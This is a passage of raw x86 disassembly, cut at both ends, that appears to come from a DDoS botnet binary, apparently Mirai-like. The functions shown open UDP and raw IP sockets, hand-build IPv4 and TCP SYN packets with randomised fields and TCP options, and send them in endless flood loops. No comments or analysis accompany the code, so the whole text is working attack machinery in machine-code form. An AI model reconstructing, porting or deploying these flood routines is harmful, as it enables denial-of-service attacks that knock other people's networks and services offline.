804881a: 0f 8e 0e 01 00 00 jle 0x804892e
8048820: 8b 54 24 14 mov 0x14(%esp),%edx
8048824: 8b 74 24 54 mov 0x54(%esp),%esi
8048828: 42 inc %edx
8048829: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp)
8048830: 00
8048831: 89 54 24 04 mov %edx,0x4(%esp)
8048835: e9 c1 00 00 00 jmp 0x80488fb
804883a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048840: 8b 44 24 1c mov 0x1c(%esp),%eax
8048844: 66 c1 c8 08 ror $0x8,%ax
8048848: 66 89 46 02 mov %ax,0x2(%esi)
804884c: 53 push %ebx
804884d: 6a 11 push $0x11
804884f: 6a 02 push $0x2
8048851: 6a 02 push $0x2
8048853: e8 c7 3f 00 00 call 0x804c81f
8048858: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804885c: 89 c2 mov %eax,%edx
804885e: 8b 44 24 38 mov 0x38(%esp),%eax
8048862: 83 c4 10 add $0x10,%esp
8048865: 83 fa ff cmp $0xffffffff,%edx
8048868: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4)
804886c: 0f 84 1e 01 00 00 je 0x8048990
8048872: 66 8b 44 24 1e mov 0x1e(%esp),%ax
8048877: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp)
804887e: 66 89 44 24 2e mov %ax,0x2e(%esp)
8048883: 8d 44 24 2c lea 0x2c(%esp),%eax
8048887: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
804888e: 00
804888f: 51 push %ecx
8048890: 6a 10 push $0x10
8048892: 50 push %eax
8048893: 52 push %edx
8048894: e8 c3 3d 00 00 call 0x804c65c
8048899: 83 c4 10 add $0x10,%esp
804889c: 80 7e 14 1f cmpb $0x1f,0x14(%esi)
80488a0: 77 2a ja 0x80488cc
80488a2: 8b 5e 10 mov 0x10(%esi),%ebx
80488a5: e8 a6 2a 00 00 call 0x804b350
80488aa: 66 c1 cb 08 ror $0x8,%bx
80488ae: c1 cb 10 ror $0x10,%ebx
80488b1: 66 c1 cb 08 ror $0x8,%bx
80488b5: 31 c9 xor %ecx,%ecx
80488b7: 8a 4e 14 mov 0x14(%esi),%cl
80488ba: d3 e8 shr %cl,%eax
80488bc: 01 d8 add %ebx,%eax
80488be: 66 c1 c8 08 ror $0x8,%ax
80488c2: c1 c8 10 ror $0x10,%eax
80488c5: 66 c1 c8 08 ror $0x8,%ax
80488c9: 89 46 04 mov %eax,0x4(%esi)
80488cc: 52 push %edx
80488cd: 6a 10 push $0x10
80488cf: 56 push %esi
80488d0: 83 c6 18 add $0x18,%esi
80488d3: 8b 54 24 34 mov 0x34(%esp),%edx
80488d7: 8b 4c 24 18 mov 0x18(%esp),%ecx
80488db: 8b 44 91 fc mov -0x4(%ecx,%edx,4),%eax
80488df: 50 push %eax
80488e0: e8 a2 3d 00 00 call 0x804c687
80488e5: 8b 44 24 38 mov 0x38(%esp),%eax
80488e9: 8b 7c 24 14 mov 0x14(%esp),%edi
80488ed: 40 inc %eax
80488ee: 89 44 24 38 mov %eax,0x38(%esp)
80488f2: 83 c4 10 add $0x10,%esp
80488f5: 3b 7c 24 28 cmp 0x28(%esp),%edi
80488f9: 74 3a je 0x8048935
80488fb: 57 push %edi
80488fc: 57 push %edi
80488fd: 6a 01 push $0x1
80488ff: 68 ff ff 00 00 push $0xffff
8048904: e8 db 46 00 00 call 0x804cfe4
8048909: 8b 4c 24 38 mov 0x38(%esp),%ecx
804890d: 83 c4 10 add $0x10,%esp
8048910: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4)
8048914: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp)
804891a: 0f 85 20 ff ff ff jne 0x8048840
8048920: e8 2b 2a 00 00 call 0x804b350
8048925: 66 89 46 02 mov %ax,0x2(%esi)
8048929: e9 1e ff ff ff jmp 0x804884c
804892e: 8b 44 24 14 mov 0x14(%esp),%eax
8048932: 8d 78 01 lea 0x1(%eax),%edi
8048935: 8b 44 24 18 mov 0x18(%esp),%eax
8048939: 85 c0 test %eax,%eax
804893b: 90 nop
804893c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048940: 7e fe jle 0x8048940
8048942: 8b 74 24 20 mov 0x20(%esp),%esi
8048946: 81 e6 ff ff 00 00 and $0xffff,%esi
804894c: 80 7c 24 23 00 cmpb $0x0,0x23(%esp)
8048951: 75 45 jne 0x8048998
8048953: bb 01 00 00 00 mov $0x1,%ebx
8048958: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax
804895c: 68 00 40 00 00 push $0x4000
8048961: 56 push %esi
8048962: 50 push %eax
8048963: 8b 54 24 18 mov 0x18(%esp),%edx
8048967: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax
804896b: 43 inc %ebx
804896c: 50 push %eax
804896d: e8 fc 3d 00 00 call 0x804c76e
8048972: 83 c4 10 add $0x10,%esp
8048975: 39 df cmp %ebx,%edi
8048977: 75 df jne 0x8048958
8048979: 8b 44 24 18 mov 0x18(%esp),%eax
804897d: 85 c0 test %eax,%eax
804897f: eb bf jmp 0x8048940
8048981: e8 ca 29 00 00 call 0x804b350
8048986: 66 89 44 24 1e mov %ax,0x1e(%esp)
804898b: e9 7b fe ff ff jmp 0x804880b
8048990: 83 c4 3c add $0x3c,%esp
8048993: 5b pop %ebx
8048994: 5e pop %esi
8048995: 5f pop %edi
8048996: 5d pop %ebp
8048997: c3 ret
8048998: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp)
804899f: 00
80489a0: 89 74 24 08 mov %esi,0x8(%esp)
80489a4: 8b 4c 24 24 mov 0x24(%esp),%ecx
80489a8: 50 push %eax
80489a9: 50 push %eax
80489aa: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx
80489ae: 8b 4c 24 10 mov 0x10(%esp),%ecx
80489b2: 51 push %ecx
80489b3: 53 push %ebx
80489b4: e8 d7 2a 00 00 call 0x804b490
80489b9: 68 00 40 00 00 push $0x4000
80489be: 56 push %esi
80489bf: 53 push %ebx
80489c0: 8b 44 24 40 mov 0x40(%esp),%eax
80489c4: 8b 54 24 28 mov 0x28(%esp),%edx
80489c8: 8b 54 82 fc mov -0x4(%edx,%eax,4),%edx
80489cc: 52 push %edx
80489cd: e8 9c 3d 00 00 call 0x804c76e
80489d2: 8b 44 24 44 mov 0x44(%esp),%eax
80489d6: 40 inc %eax
80489d7: 89 44 24 44 mov %eax,0x44(%esp)
80489db: 83 c4 20 add $0x20,%esp
80489de: 39 7c 24 24 cmp %edi,0x24(%esp)
80489e2: 0f 84 4d ff ff ff je 0x8048935
80489e8: eb ba jmp 0x80489a4
80489ea: 90 nop
80489eb: 90 nop
80489ec: 90 nop
80489ed: 90 nop
80489ee: 90 nop
80489ef: 90 nop
80489f0: 55 push %ebp
80489f1: 57 push %edi
80489f2: 56 push %esi
80489f3: 53 push %ebx
80489f4: 83 ec 44 sub $0x44,%esp
80489f7: 8a 44 24 58 mov 0x58(%esp),%al
80489fb: 8b 5c 24 64 mov 0x64(%esp),%ebx
80489ff: 88 c2 mov %al,%dl
8048a01: 88 44 24 1b mov %al,0x1b(%esp)
8048a05: 81 e2 ff 00 00 00 and $0xff,%edx
8048a0b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048a10: 89 54 24 1c mov %edx,0x1c(%esp)
8048a14: 6a 04 push $0x4
8048a16: 52 push %edx
8048a17: e8 c8 45 00 00 call 0x804cfe4
8048a1c: 89 c5 mov %eax,%ebp
8048a1e: 58 pop %eax
8048a1f: 5a pop %edx
8048a20: 6a 04 push $0x4
8048a22: 8b 44 24 20 mov 0x20(%esp),%eax
8048a26: 50 push %eax
8048a27: e8 b8 45 00 00 call 0x804cfe4
8048a2c: 89 f1 mov %esi,%ecx
8048a2e: 89 44 24 1c mov %eax,0x1c(%esp)
8048a32: 81 e1 ff 00 00 00 and $0xff,%ecx
8048a38: 68 ff ff 00 00 push $0xffff
8048a3d: 89 cf mov %ecx,%edi
8048a3f: 6a 07 push $0x7
8048a41: 53 push %ebx
8048a42: 51 push %ecx
8048a43: e8 f8 fa ff ff call 0x8048540
8048a48: 66 89 44 24 3c mov %ax,0x3c(%esp)
8048a4d: 83 c4 20 add $0x20,%esp
8048a50: 68 ff ff 00 00 push $0xffff
8048a55: 6a 06 push $0x6
8048a57: 53 push %ebx
8048a58: 57 push %edi
8048a59: e8 e2 fa ff ff call 0x8048540
8048a5e: 68 00 04 00 00 push $0x400
8048a63: 89 c6 mov %eax,%esi
8048a65: 6a 00 push $0x0
8048a67: 53 push %ebx
8048a68: 57 push %edi
8048a69: e8 d2 fa ff ff call 0x8048540
8048a6e: 66 89 44 24 40 mov %ax,0x40(%esp)
8048a73: 83 c4 20 add $0x20,%esp
8048a76: 6a 01 push $0x1
8048a78: 6a 01 push $0x1
8048a7a: 53 push %ebx
8048a7b: 57 push %edi
8048a7c: e8 bf fa ff ff call 0x8048540
8048a81: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp)
8048a88: 00
8048a89: 88 44 24 33 mov %al,0x33(%esp)
8048a8d: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp)
8048a94: 00
8048a95: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp)
8048a9c: 00
8048a9d: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp)
8048aa4: 00
8048aa5: 83 c4 10 add $0x10,%esp
8048aa8: 66 83 fe ff cmp $0xffff,%si
8048aac: 0f 84 7f 01 00 00 je 0x8048c31
8048ab2: 66 c1 ce 08 ror $0x8,%si
8048ab6: 66 89 74 24 1e mov %si,0x1e(%esp)
8048abb: 8a 44 24 13 mov 0x13(%esp),%al
8048abf: 25 ff 00 00 00 and $0xff,%eax
8048ac4: 89 44 24 18 mov %eax,0x18(%esp)
8048ac8: 85 c0 test %eax,%eax
8048aca: 0f 8e 0e 01 00 00 jle 0x8048bde
8048ad0: 8b 54 24 14 mov 0x14(%esp),%edx
8048ad4: 8b 74 24 54 mov 0x54(%esp),%esi
8048ad8: 42 inc %edx
8048ad9: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp)
8048ae0: 00
8048ae1: 89 54 24 04 mov %edx,0x4(%esp)
8048ae5: e9 c1 00 00 00 jmp 0x8048bab
8048aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048af0: 8b 44 24 1c mov 0x1c(%esp),%eax
8048af4: 66 c1 c8 08 ror $0x8,%ax
8048af8: 66 89 46 02 mov %ax,0x2(%esi)
8048afc: 57 push %edi
8048afd: 6a 00 push $0x0
8048aff: 6a 02 push $0x2
8048b01: 6a 02 push $0x2
8048b03: e8 17 3d 00 00 call 0x804c81f
8048b08: 8b 4c 24 1c mov 0x1c(%esp),%ecx
8048b0c: 89 c2 mov %eax,%edx
8048b0e: 8b 44 24 38 mov 0x38(%esp),%eax
8048b12: 83 c4 10 add $0x10,%esp
8048b15: 83 fa ff cmp $0xffffffff,%edx
8048b18: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4)
8048b1c: 0f 84 1e 01 00 00 je 0x8048c40
8048b22: 66 8b 44 24 1e mov 0x1e(%esp),%ax
8048b27: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp)
8048b2e: 66 89 44 24 2e mov %ax,0x2e(%esp)
8048b33: 8d 44 24 2c lea 0x2c(%esp),%eax
8048b37: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
8048b3e: 00
8048b3f: 53 push %ebx
8048b40: 6a 10 push $0x10
8048b42: 50 push %eax
8048b43: 52 push %edx
8048b44: e8 13 3b 00 00 call 0x804c65c
8048b49: 83 c4 10 add $0x10,%esp
8048b4c: 80 7e 14 1f cmpb $0x1f,0x14(%esi)
8048b50: 77 2a ja 0x8048b7c
8048b52: 8b 5e 10 mov 0x10(%esi),%ebx
8048b55: e8 f6 27 00 00 call 0x804b350
8048b5a: 66 c1 cb 08 ror $0x8,%bx
8048b5e: c1 cb 10 ror $0x10,%ebx
8048b61: 66 c1 cb 08 ror $0x8,%bx
8048b65: 31 c9 xor %ecx,%ecx
8048b67: 8a 4e 14 mov 0x14(%esi),%cl
8048b6a: d3 e8 shr %cl,%eax
8048b6c: 01 d8 add %ebx,%eax
8048b6e: 66 c1 c8 08 ror $0x8,%ax
8048b72: c1 c8 10 ror $0x10,%eax
8048b75: 66 c1 c8 08 ror $0x8,%ax
8048b79: 89 46 04 mov %eax,0x4(%esi)
8048b7c: 51 push %ecx
8048b7d: 6a 10 push $0x10
8048b7f: 56 push %esi
8048b80: 83 c6 18 add $0x18,%esi
8048b83: 8b 54 24 34 mov 0x34(%esp),%edx
8048b87: 8b 4c 24 18 mov 0x18(%esp),%ecx
8048b8b: 8b 54 91 fc mov -0x4(%ecx,%edx,4),%edx
8048b8f: 52 push %edx
8048b90: e8 f2 3a 00 00 call 0x804c687
8048b95: 8b 44 24 38 mov 0x38(%esp),%eax
8048b99: 8b 7c 24 14 mov 0x14(%esp),%edi
8048b9d: 40 inc %eax
8048b9e: 89 44 24 38 mov %eax,0x38(%esp)
8048ba2: 83 c4 10 add $0x10,%esp
8048ba5: 3b 7c 24 28 cmp 0x28(%esp),%edi
8048ba9: 74 3a je 0x8048be5
8048bab: 50 push %eax
8048bac: 50 push %eax
8048bad: 6a 01 push $0x1
8048baf: 68 ff ff 00 00 push $0xffff
8048bb4: e8 2b 44 00 00 call 0x804cfe4
8048bb9: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048bbd: 83 c4 10 add $0x10,%esp
8048bc0: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4)
8048bc4: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp)
8048bca: 0f 85 20 ff ff ff jne 0x8048af0
8048bd0: e8 7b 27 00 00 call 0x804b350
8048bd5: 66 89 46 02 mov %ax,0x2(%esi)
8048bd9: e9 1e ff ff ff jmp 0x8048afc
8048bde: 8b 44 24 14 mov 0x14(%esp),%eax
8048be2: 8d 78 01 lea 0x1(%eax),%edi
8048be5: 8b 44 24 18 mov 0x18(%esp),%eax
8048be9: 85 c0 test %eax,%eax
8048beb: 90 nop
8048bec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048bf0: 7e fe jle 0x8048bf0
8048bf2: 8b 74 24 20 mov 0x20(%esp),%esi
8048bf6: 81 e6 ff ff 00 00 and $0xffff,%esi
8048bfc: 80 7c 24 23 00 cmpb $0x0,0x23(%esp)
8048c01: 75 45 jne 0x8048c48
8048c03: bb 01 00 00 00 mov $0x1,%ebx
8048c08: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax
8048c0c: 68 00 40 00 00 push $0x4000
8048c11: 56 push %esi
8048c12: 50 push %eax
8048c13: 8b 54 24 18 mov 0x18(%esp),%edx
8048c17: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax
8048c1b: 43 inc %ebx
8048c1c: 50 push %eax
8048c1d: e8 4c 3b 00 00 call 0x804c76e
8048c22: 83 c4 10 add $0x10,%esp
8048c25: 39 df cmp %ebx,%edi
8048c27: 75 df jne 0x8048c08
8048c29: 8b 44 24 18 mov 0x18(%esp),%eax
8048c2d: 85 c0 test %eax,%eax
8048c2f: eb bf jmp 0x8048bf0
8048c31: e8 1a 27 00 00 call 0x804b350
8048c36: 66 89 44 24 1e mov %ax,0x1e(%esp)
8048c3b: e9 7b fe ff ff jmp 0x8048abb
8048c40: 83 c4 3c add $0x3c,%esp
8048c43: 5b pop %ebx
8048c44: 5e pop %esi
8048c45: 5f pop %edi
8048c46: 5d pop %ebp
8048c47: c3 ret
8048c48: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp)
8048c4f: 00
8048c50: 89 74 24 08 mov %esi,0x8(%esp)
8048c54: 8b 4c 24 24 mov 0x24(%esp),%ecx
8048c58: 50 push %eax
8048c59: 50 push %eax
8048c5a: 8b 44 24 10 mov 0x10(%esp),%eax
8048c5e: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx
8048c62: 50 push %eax
8048c63: 53 push %ebx
8048c64: e8 27 28 00 00 call 0x804b490
8048c69: 68 00 40 00 00 push $0x4000
8048c6e: 56 push %esi
8048c6f: 53 push %ebx
8048c70: 8b 44 24 40 mov 0x40(%esp),%eax
8048c74: 8b 54 24 28 mov 0x28(%esp),%edx
8048c78: 8b 5c 82 fc mov -0x4(%edx,%eax,4),%ebx
8048c7c: 53 push %ebx
8048c7d: e8 ec 3a 00 00 call 0x804c76e
8048c82: 8b 4c 24 44 mov 0x44(%esp),%ecx
8048c86: 41 inc %ecx
8048c87: 89 4c 24 44 mov %ecx,0x44(%esp)
8048c8b: 83 c4 20 add $0x20,%esp
8048c8e: 39 7c 24 24 cmp %edi,0x24(%esp)
8048c92: 0f 84 4d ff ff ff je 0x8048be5
8048c98: eb ba jmp 0x8048c54
8048c9a: 90 nop
8048c9b: 90 nop
8048c9c: 90 nop
8048c9d: 90 nop
8048c9e: 90 nop
8048c9f: 90 nop
8048ca0: 55 push %ebp
8048ca1: 57 push %edi
8048ca2: 56 push %esi
8048ca3: 53 push %ebx
8048ca4: 83 ec 44 sub $0x44,%esp
8048ca7: 8b 5c 24 64 mov 0x64(%esp),%ebx
8048cab: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048cb0: 6a 04 push $0x4
8048cb2: 81 e6 ff 00 00 00 and $0xff,%esi
8048cb8: 8a 44 24 5c mov 0x5c(%esp),%al
8048cbc: 25 ff 00 00 00 and $0xff,%eax
8048cc1: 50 push %eax
8048cc2: 89 c5 mov %eax,%ebp
8048cc4: e8 1b 43 00 00 call 0x804cfe4
8048cc9: 89 44 24 18 mov %eax,0x18(%esp)
8048ccd: 6a 00 push $0x0
8048ccf: 6a 02 push $0x2
8048cd1: 53 push %ebx
8048cd2: 56 push %esi
8048cd3: e8 68 f8 ff ff call 0x8048540
8048cd8: 88 44 24 41 mov %al,0x41(%esp)
8048cdc: 83 c4 20 add $0x20,%esp
8048cdf: 68 ff ff 00 00 push $0xffff
8048ce4: 6a 03 push $0x3
8048ce6: 53 push %ebx
8048ce7: 56 push %esi
8048ce8: e8 53 f8 ff ff call 0x8048540
8048ced: 89 44 24 1c mov %eax,0x1c(%esp)
8048cf1: 6a 40 push $0x40
8048cf3: 6a 04 push $0x4
8048cf5: 53 push %ebx
8048cf6: 56 push %esi
8048cf7: e8 44 f8 ff ff call 0x8048540
8048cfc: 83 c4 20 add $0x20,%esp
8048cff: 89 c7 mov %eax,%edi
8048d01: 6a 01 push $0x1
8048d03: 6a 05 push $0x5
8048d05: 53 push %ebx
8048d06: 56 push %esi
8048d07: e8 34 f8 ff ff call 0x8048540
8048d0c: 68 ff ff 00 00 push $0xffff
8048d11: 6a 06 push $0x6
8048d13: 53 push %ebx
8048d14: 56 push %esi
8048d15: e8 26 f8 ff ff call 0x8048540
8048d1a: 89 44 24 30 mov %eax,0x30(%esp)
8048d1e: 83 c4 20 add $0x20,%esp
8048d21: 68 ff ff 00 00 push $0xffff
8048d26: 6a 07 push $0x7
8048d28: 53 push %ebx
8048d29: 56 push %esi
8048d2a: e8 11 f8 ff ff call 0x8048540
8048d2f: 89 44 24 24 mov %eax,0x24(%esp)
8048d33: 68 ff ff 00 00 push $0xffff
8048d38: 6a 11 push $0x11
8048d3a: 53 push %ebx
8048d3b: 56 push %esi
8048d3c: e8 ff f7 ff ff call 0x8048540
8048d41: 89 44 24 38 mov %eax,0x38(%esp)
8048d45: 83 c4 20 add $0x20,%esp
8048d48: a1 08 f1 04 08 mov 0x804f108,%eax
8048d4d: 50 push %eax
8048d4e: 6a 19 push $0x19
8048d50: 53 push %ebx
8048d51: 56 push %esi
8048d52: e8 89 f7 ff ff call 0x80484e0
8048d57: 89 44 24 38 mov %eax,0x38(%esp)
8048d5b: 83 c4 0c add $0xc,%esp
8048d5e: 6a 06 push $0x6
8048d60: 6a 03 push $0x3
8048d62: 6a 02 push $0x2
8048d64: e8 b6 3a 00 00 call 0x804c81f
8048d69: 89 44 24 2c mov %eax,0x2c(%esp)
8048d6d: 83 c4 10 add $0x10,%esp
8048d70: 40 inc %eax
8048d71: 0f 84 e3 02 00 00 je 0x804905a
8048d77: c7 44 24 38 01 00 00 movl $0x1,0x38(%esp)
8048d7e: 00
8048d7f: 83 ec 0c sub $0xc,%esp
8048d82: 6a 04 push $0x4
8048d84: 8d 44 24 48 lea 0x48(%esp),%eax
8048d88: 50 push %eax
8048d89: 6a 03 push $0x3
8048d8b: 6a 00 push $0x0
8048d8d: 8b 44 24 38 mov 0x38(%esp),%eax
8048d91: 50 push %eax
8048d92: e8 4d 3a 00 00 call 0x804c7e4
8048d97: 83 c4 20 add $0x20,%esp
8048d9a: 40 inc %eax
8048d9b: 0f 84 a9 02 00 00 je 0x804904a
8048da1: 8b 54 24 0c mov 0xc(%esp),%edx
8048da5: 8b 4c 24 10 mov 0x10(%esp),%ecx
8048da9: 8b 44 24 14 mov 0x14(%esp),%eax
8048dad: 66 89 54 24 22 mov %dx,0x22(%esp)
8048db2: 66 89 4c 24 24 mov %cx,0x24(%esp)
8048db7: 66 89 44 24 26 mov %ax,0x26(%esp)
8048dbc: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp)
8048dc3: 00
8048dc4: 85 ed test %ebp,%ebp
8048dc6: 0f 8e 1a 01 00 00 jle 0x8048ee6
8048dcc: 8b 74 24 18 mov 0x18(%esp),%esi
8048dd0: 31 db xor %ebx,%ebx
8048dd2: 50 push %eax
8048dd3: 50 push %eax
8048dd4: 6a 01 push $0x1
8048dd6: 68 80 00 00 00 push $0x80
8048ddb: e8 04 42 00 00 call 0x804cfe4
8048de0: 8b 54 24 18 mov 0x18(%esp),%edx
8048de4: 89 04 9a mov %eax,(%edx,%ebx,4)
8048de7: 8b 44 24 48 mov 0x48(%esp),%eax
8048deb: 8b 1c 82 mov (%edx,%eax,4),%ebx
8048dee: c6 03 45 movb $0x45,(%ebx)
8048df1: 8d 53 14 lea 0x14(%ebx),%edx
8048df4: 8a 4c 24 31 mov 0x31(%esp),%cl
8048df8: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx)
8048dfe: 88 4b 01 mov %cl,0x1(%ebx)
8048e01: 66 c7 43 06 00 00 movw $0x0,0x6(%ebx)
8048e07: 66 8b 44 24 32 mov 0x32(%esp),%ax
8048e0c: c6 43 09 06 movb $0x6,0x9(%ebx)
8048e10: 66 c1 c8 08 ror $0x8,%ax
8048e14: 66 89 43 04 mov %ax,0x4(%ebx)
8048e18: 89 f8 mov %edi,%eax
8048e1a: 88 43 08 mov %al,0x8(%ebx)
8048e1d: 66 c7 42 0e ff ff movw $0xffff,0xe(%edx)
8048e23: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048e27: 66 c7 42 10 01 00 movw $0x1,0x10(%edx)
8048e2d: 89 4b 0c mov %ecx,0xc(%ebx)
8048e30: 8b 4c 24 64 mov 0x64(%esp),%ecx
8048e34: 8b 44 24 48 mov 0x48(%esp),%eax
8048e38: 66 c7 42 12 01 00 movw $0x1,0x12(%edx)
8048e3e: 8d 04 40 lea (%eax,%eax,2),%eax
8048e41: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax
8048e45: 89 43 10 mov %eax,0x10(%ebx)
8048e48: 8b 44 24 34 mov 0x34(%esp),%eax
8048e4c: 66 c1 c8 08 ror $0x8,%ax
8048e50: 66 89 43 14 mov %ax,0x14(%ebx)
8048e54: 66 8b 44 24 36 mov 0x36(%esp),%ax
8048e59: 66 c1 c8 08 ror $0x8,%ax
8048e5d: 66 89 42 02 mov %ax,0x2(%edx)
8048e61: 89 f0 mov %esi,%eax
8048e63: 66 c1 c8 08 ror $0x8,%ax
8048e67: 25 ff ff 00 00 and $0xffff,%eax
8048e6c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx)
8048e73: 89 42 04 mov %eax,0x4(%edx)
8048e76: 8a 42 0c mov 0xc(%edx),%al
8048e79: 83 e0 0f and $0xf,%eax
8048e7c: 83 c8 50 or $0x50,%eax
8048e7f: 80 4a 0d 02 orb $0x2,0xd(%edx)
8048e83: 88 42 0c mov %al,0xc(%edx)
8048e86: c6 43 28 02 movb $0x2,0x28(%ebx)
8048e8a: c6 43 29 04 movb $0x4,0x29(%ebx)
8048e8e: e8 bd 24 00 00 call 0x804b350
8048e93: 83 e0 0f and $0xf,%eax
8048e96: c6 43 2c 04 movb $0x4,0x2c(%ebx)
8048e9a: 05 78 05 00 00 add $0x578,%eax
8048e9f: c6 43 2d 02 movb $0x2,0x2d(%ebx)
8048ea3: 66 c1 c8 08 ror $0x8,%ax
8048ea7: c6 43 2e 08 movb $0x8,0x2e(%ebx)
8048eab: 66 89 43 2a mov %ax,0x2a(%ebx)
8048eaf: c6 43 2f 0a movb $0xa,0x2f(%ebx)
8048eb3: e8 98 24 00 00 call 0x804b350
8048eb8: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx)
8048ebf: 89 43 30 mov %eax,0x30(%ebx)
8048ec2: c6 43 38 01 movb $0x1,0x38(%ebx)
8048ec6: c6 43 39 03 movb $0x3,0x39(%ebx)
8048eca: c6 43 3a 03 movb $0x3,0x3a(%ebx)
8048ece: c6 43 3b 06 movb $0x6,0x3b(%ebx)
8048ed2: 8b 5c 24 48 mov 0x48(%esp),%ebx
8048ed6: 43 inc %ebx
8048ed7: 89 5c 24 48 mov %ebx,0x48(%esp)
8048edb: 83 c4 10 add $0x10,%esp
8048ede: 39 dd cmp %ebx,%ebp
8048ee0: 0f 8f ec fe ff ff jg 0x8048dd2
8048ee6: 85 ed test %ebp,%ebp
8048ee8: 7e fe jle 0x8048ee8
8048eea: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp)
8048ef1: 00
8048ef2: 31 c0 xor %eax,%eax
8048ef4: 8b 54 24 08 mov 0x8(%esp),%edx
8048ef8: 8b 4c 24 54 mov 0x54(%esp),%ecx
8048efc: 8b 34 82 mov (%edx,%eax,4),%esi
8048eff: 8d 04 40 lea (%eax,%eax,2),%eax
8048f02: 8d 04 c1 lea (%ecx,%eax,8),%eax
8048f05: 8d 7e 14 lea 0x14(%esi),%edi
8048f08: 80 78 14 1f cmpb $0x1f,0x14(%eax)
8048f0c: 0f 86 a7 00 00 00 jbe 0x8048fb9
8048f12: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp)
8048f17: 0f 84 e1 00 00 00 je 0x8048ffe
8048f1d: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp)
8048f23: 0f 84 e9 00 00 00 je 0x8049012
8048f29: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp)
8048f2f: 0f 84 f2 00 00 00 je 0x8049027
8048f35: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp)
8048f3b: 0f 84 fb 00 00 00 je 0x804903c
8048f41: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi)
8048f47: 53 push %ebx
8048f48: 53 push %ebx
8048f49: 6a 14 push $0x14
8048f4b: 56 push %esi
8048f4c: e8 df 0b 00 00 call 0x8049b30
8048f51: 66 89 46 0a mov %ax,0xa(%esi)
8048f55: 66 c7 47 10 00 00 movw $0x0,0x10(%edi)
8048f5b: 6a 28 push $0x28
8048f5d: 68 00 28 00 00 push $0x2800
8048f62: 57 push %edi
8048f63: 56 push %esi
8048f64: e8 17 0c 00 00 call 0x8049b80
8048f69: 8b 4c 24 74 mov 0x74(%esp),%ecx
8048f6d: 66 89 47 10 mov %ax,0x10(%edi)
8048f71: 8b 44 24 58 mov 0x58(%esp),%eax
8048f75: 66 8b 57 02 mov 0x2(%edi),%dx
8048f79: 83 c4 18 add $0x18,%esp
8048f7c: 8d 04 40 lea (%eax,%eax,2),%eax
8048f7f: c1 e0 03 shl $0x3,%eax
8048f82: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1)
8048f87: 01 c8 add %ecx,%eax
8048f89: 6a 10 push $0x10
8048f8b: 50 push %eax
8048f8c: 68 00 40 00 00 push $0x4000
8048f91: 6a 3c push $0x3c
8048f93: 56 push %esi
8048f94: 8b 4c 24 38 mov 0x38(%esp),%ecx
8048f98: 51 push %ecx
8048f99: e8 03 38 00 00 call 0x804c7a1
8048f9e: 8b 44 24 58 mov 0x58(%esp),%eax
8048fa2: 40 inc %eax
8048fa3: 89 44 24 58 mov %eax,0x58(%esp)
8048fa7: 83 c4 20 add $0x20,%esp
8048faa: 39 e8 cmp %ebp,%eax
8048fac: 0f 8c 42 ff ff ff jl 0x8048ef4
8048fb2: 85 ed test %ebp,%ebp
8048fb4: e9 2f ff ff ff jmp 0x8048ee8
8048fb9: 8b 58 10 mov 0x10(%eax),%ebx
8048fbc: e8 8f 23 00 00 call 0x804b350
8048fc1: 66 c1 cb 08 ror $0x8,%bx
8048fc5: c1 cb 10 ror $0x10,%ebx
8048fc8: 66 c1 cb 08 ror $0x8,%bx
8048fcc: 8b 54 24 38 mov 0x38(%esp),%edx
8048fd0: 8d 0c 52 lea (%edx,%edx,2),%ecx
8048fd3: 8b 54 24 54 mov 0x54(%esp),%edx
8048fd7: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl
8048fdb: 81 e1 ff 00 00 00 and $0xff,%ecx
8048fe1: d3 e8 shr %cl,%eax
8048fe3: 01 d8 add %ebx,%eax
8048fe5: 66 c1 c8 08 ror $0x8,%ax
8048fe9: c1 c8 10 ror $0x10,%eax
8048fec: 66 c1 c8 08 ror $0x8,%ax
8048ff0: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp)
8048ff5: 89 46 10 mov %eax,0x10(%esi)
8048ff8: 0f 85 1f ff ff ff jne 0x8048f1d
8048ffe: e8 4d 23 00 00 call 0x804b350
